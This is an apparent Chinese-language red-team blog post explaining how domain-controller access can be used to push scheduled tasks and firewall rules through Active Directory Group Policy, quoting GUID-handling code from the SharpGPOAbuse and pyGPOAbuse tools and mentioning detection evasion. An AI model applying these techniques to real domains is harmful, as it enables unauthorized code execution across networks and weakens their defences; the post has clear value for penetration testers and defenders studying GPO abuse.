域环境权限提升中组策略的简单使用

2022-02-11 13:53:17 浏览数 (1)

本文作者:Z1NG

Group Policy Objects 是用于存储 Active Directory 中的策略,便于管理域中的计算机和用户。值得注意的是,默认情况,域用户的组策略是 90 分钟更新一次,有 0-30 分钟的随机偏移,域控的则为 5 分钟更新一次。通过组策略可以下发计划任务,更新防火墙配置等等操作。

图形化下发组策略

在域控上通过组策略管理工具可以轻松的建立一个组策略,并且设定该组策略对特定组生效。此处以建立一个计划任务为例,简单演示如何建立组策略。

不同类型的组策略会生成不同的配置文件,如:计划任务的 schedule.xml,防火墙的 registry.pol。

命令行下通过组策略下发计划任务

通过上文所介绍的可以发现,域控下发组策略后实质上的内容是各个配置文件里的内容,通过替换已有的配置文件就可以完成下发特定的计划任务。总的来说,命令行下通过组策略下发计划任务有三种。

1.新建一个组策略

PowerView 中的 "New-GPOImmediateTask" 就可以完成组策略的创建,并执行一个立即执行的计划任务。比较简单,不展开说明。

2.修改已有的计划任务组策略

查找域中已有的计划任务组策略,然后修改 schedule.xml,并更新 GPT.ini 里的版本信息,而后等待或者手动输入 "gpupdate"。也比较简单。

3.修改已有的组策略

这条似乎和 2 是一样的,但其实不一样。2 是指得是一个组策略中本来就包含有计划任务,而 3 说的是一个组策略中本身并无计划任务,例如是一个防火墙组策略。此时会发现通过添加 schedule.xml 文件的方式,加入的计划任务并不生效,三好学生师傅提及过此问题:

https://3gstudent.github.io/backup-3gstudent.github.io/域渗透-利用GPO中的计划任务实现远程执行/)。

三好学生师傅的解决方案是通过备份正常的组策略,然后提取里面的"注册信息"添加进自定义的组策略计划任务之中。但通过自己的实践发现,不成功的原因是出在gPCMachineExtensionNames

gPCMachineExtensionNames 必须设置成与我们修改的相应的 GUID。GUID 列表:

https://blogs.technet.microsoft.com/mempson/2010/12/01/group-policy-client-side-extension-list/

F-secure 给出示例代码,是通过 C# 编写的,其中的功能之一就是添加一个立即运行的计划任务:

https://labs.f-secure.com/tools/sharpgpoabuse

在添加gPCMachineExtensionNames存在一定的细节,具体代码如下。

代码语言:javascript复制

            // update gPCMachineExtensionNames
                String val1 = "";
                String val2 = "";
                if (function == "AddLocalAdmin" || function == "AddNewRights" || function == "NewStartupScript")
{
                    if (function == "AddLocalAdmin" || function == "AddNewRights")
{
                        val1 = "827D319E-6EAC-11D2-A4EA-00C04F79F83A";
                        val2 = "803E14A0-B4FB-11D0-A0D0-00A0C90F574B";
                    }
                    if (function == "NewStartupScript")
{
                        val1 = "42B5FAAE-6536-11D2-AE5A-0000F87571E3";
                        val2 = "40B6664F-4972-11D1-A7CA-0000F87571E3";
                    }
                    try
                    {
                        if (!entryToUpdate.Properties[gPCExtensionName].Value.ToString().Contains(val2))
                        {
                            if (entryToUpdate.Properties[gPCExtensionName].Value.ToString().Contains(val1))
                            {
                                string ent = entryToUpdate.Properties[gPCExtensionName].Value.ToString();
                                //Console.WriteLine("[!] DEBUG: Old gPCMachineExtensionNames: "   ent);
                                List<string> new_values = new List<string>();
                                String addition = val2;
                                var test = ent.Split('[');
                                foreach (string i in test)
                                {
                                    new_values.Add(i.Replace("{", "").Replace("}", " ").Replace("]", ""));
                                }
                                //new_values.Add(addition);
                                for (var i = 1; i < new_values.Count; i  )
                                {
                                    if (new_values[i].Contains(val1))
                                    {
                                        //Console.WriteLine(new_values[i]);
                                        List<string> toSort = new List<string>();
                                        string[] test2 = new_values[i].Split();
                                        for (var f = 1; f < test2.Length; f  )
                                        {
                                            //Console.WriteLine(test2[f]);
                                            toSort.Add(test2[f]);
                                        }
                                        toSort.Add(addition);
                                        toSort.Sort();
                                        new_values[i] = test2[0];
                                        foreach (string val in toSort)
                                        {
                                            new_values[i]  = " "   val;
                                        }
                                    }
                                }
                                List<string> new_values2 = new List<string>();
                                for (var i = 0; i < new_values.Count; i  )
                                {
                                    if (string.IsNullOrEmpty(new_values[i])) { continue; }
                                    string[] value1 = new_values[i].Split();
                                    string new_val = "";
                                    for (var q = 0; q < value1.Length; q  )
                                    {
                                        if (string.IsNullOrEmpty(value1[q])) { continue; }
                                        new_val  = "{"   value1[q]   "}";
                                    }
                                    new_val = "["   new_val   "]";
                                    new_values2.Add(new_val);
                                }
                                String final = string.Join("", new_values2.ToArray());
                                //Console.WriteLine("[!] DEBUG: New gPCMachineExtensionNames: "   final);
                                entryToUpdate.Properties[gPCExtensionName].Value = final;
                            }
                            else
                            {
                                string ent = entryToUpdate.Properties[gPCExtensionName].Value.ToString();
                                //Console.WriteLine("[!] DEBUG: Old gPCMachineExtensionNames: "   ent);
                                List<string> new_values = new List<string>();
                                String addition = val1   " "   val2;
                                var test = ent.Split('[');
                                foreach (string i in test)
                                {
                                    new_values.Add(i.Replace("{", "").Replace("}", " ").Replace("]", ""));
                                }
                                new_values.Add(addition);
                                new_values.Sort();
                                List<string> new_values2 = new List<string>();
                                for (var i = 0; i < new_values.Count; i  )
                                {
                                    if (string.IsNullOrEmpty(new_values[i])) { continue; }
                                    string[] value1 = new_values[i].Split();
                                    string new_val = "";
                                    for (var q = 0; q < value1.Length; q  )
                                    {
                                        if (string.IsNullOrEmpty(value1[q])) { continue; }
                                        new_val  = "{"   value1[q]   "}";
                                    }
                                    new_val = "["   new_val   "]";
                                    new_values2.Add(new_val);
                                }
                                String final = string.Join("", new_values2.ToArray());
                                //Console.WriteLine("[!] DEBUG: New gPCMachineExtensionNames: "   final);
                                entryToUpdate.Properties[gPCExtensionName].Value = final;
                            }
                        }
                        else
                        {
                            //Console.WriteLine("[!] DEBUG: the value of gPCMachineExtensionNames was already set.");
                        }
                    }
                    // the following will execute when the gPCMachineExtensionNames is <not set>
                    catch
                    {
                        entryToUpdate.Properties[gPCExtensionName].Value = "[{"   val1   "}{"   val2   "}]";
                    }
                }

需要注意的是 SharpGPOAbuse 修改了目标组策略的gPCMachineExtensionNames,所以在完成计划任务执行的时候,应该将组策略还原回去,但该项目并没有提供该功能。

这里比较推荐的是 pyGPOAbuse :

https://github.com/Hackndo/pyGPOAbuse

这个项目,实现上使用了 Impacket 库,可以通过流量代理的方式进行利用。这样的好处是利用工具可以不用落地目标机器,规避检测。同样的在添加gPCMachineExtensionNames是遵循一定规则,具体不展开讲。

代码语言:javascript复制
def update_extensionNames(self, extensionName):
        val1 = "00000000-0000-0000-0000-000000000000"
        val2 = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72"
        val3 = "AADCED64-746C-4633-A97C-D61349046527"
        if extensionName is None:
            extensionName = ""
        try:
            if not val2 in extensionName:
                new_values = []
                toUpdate = extensionName
                test = toUpdate.split("[")
                for i in test:
                    new_values.append(i.replace("{", "").replace("}", " ").replace("]", ""))
                if val1 not in toUpdate:
                    new_values.append(val1   " "   val2)
                elif val1 in toUpdate:
                    for k, v in enumerate(new_values):
                        if val1 in new_values[k]:
                            toSort = []
                            test2 = new_values[k].split()
                            for f in range(1, len(test2)):
                                toSort.append(test2[f])
                            toSort.append(val2)
                            toSort.sort()
                            new_values[k] = test2[0]
                            for val in toSort:
                                new_values[k]  = " "   val
                if val3 not in toUpdate:
                    new_values.append(val3   " "   val2)
                elif val3 in toUpdate:
                    for k, v in enumerate(new_values):
                        if val3 in new_values[k]:
                            toSort = []
                            test2 = new_values[k].split()
                            for f in range(1, len(test2)):
                                toSort.append(test2[f])
                            toSort.append(val2)
                            toSort.sort()
                            new_values[k] = test2[0]
                            for val in toSort:
                                new_values[k]  = " "   val
                new_values.sort()
                new_values2 = []
                for i in range(len(new_values)):
                    if new_values[i] is None or new_values[i] == "":
                        continue
                    value1 = new_values[i].split()
                    new_val = ""
                    for q in range(len(value1)):
                        if value1[q] is None or value1[q] == "":
                            continue
                        new_val  = "{"   value1[q]   "}"
                    new_val = "["   new_val   "]"
                    new_values2.append(new_val)
                return "".join(new_values2)
        except:
            return "[{"   val1   "}{"   val2   "}]"   "[{"   val3   "}{"   val2   "}]"

组策略下发防火墙策略

一个场景,已有域控权限,但由于域防火墙的存在无法访问目标组或者人的机器。此时就可以用组策略来下发防火墙策略。组策略的防火墙配置文件存放于对应组策略文件夹中的registry.pol中

可以用两种方式来修改这个文件,一种是将目标文件下载回来,放到自己的域环境下修改,保存后,再放回目标域控。

第二种是通过LGPO.exe将Registry.pol文件解析成文本文件,然后修改后还原成Registry.pol文件。

然后按照格式辑文本文件,红框中是新增的开放445的测试。接着还原成Registry.pol导入域控 。就可以看到新增的防火墙策略了。

总结

简单总结一下:

  1. 有域控权限,才可以利用 GPO。
  2. GPO 不仅可以计划任务还可以操作防火墙等其他功能。
  3. 找到想要针对的目标组所含有的组策略。
  4. 记得修改gPCMachineExtensionNames,这个就类似文件的拓展名,没有加对拓展利用无法成功。
  5. 记得修改 GPT.ini 版本号,版本没更新的情况下域用户不会强制同步更新组策略。
  6. 善用 LDAP 查询域内信息。

潦草一记录,很多细节没有展开。

0 人点赞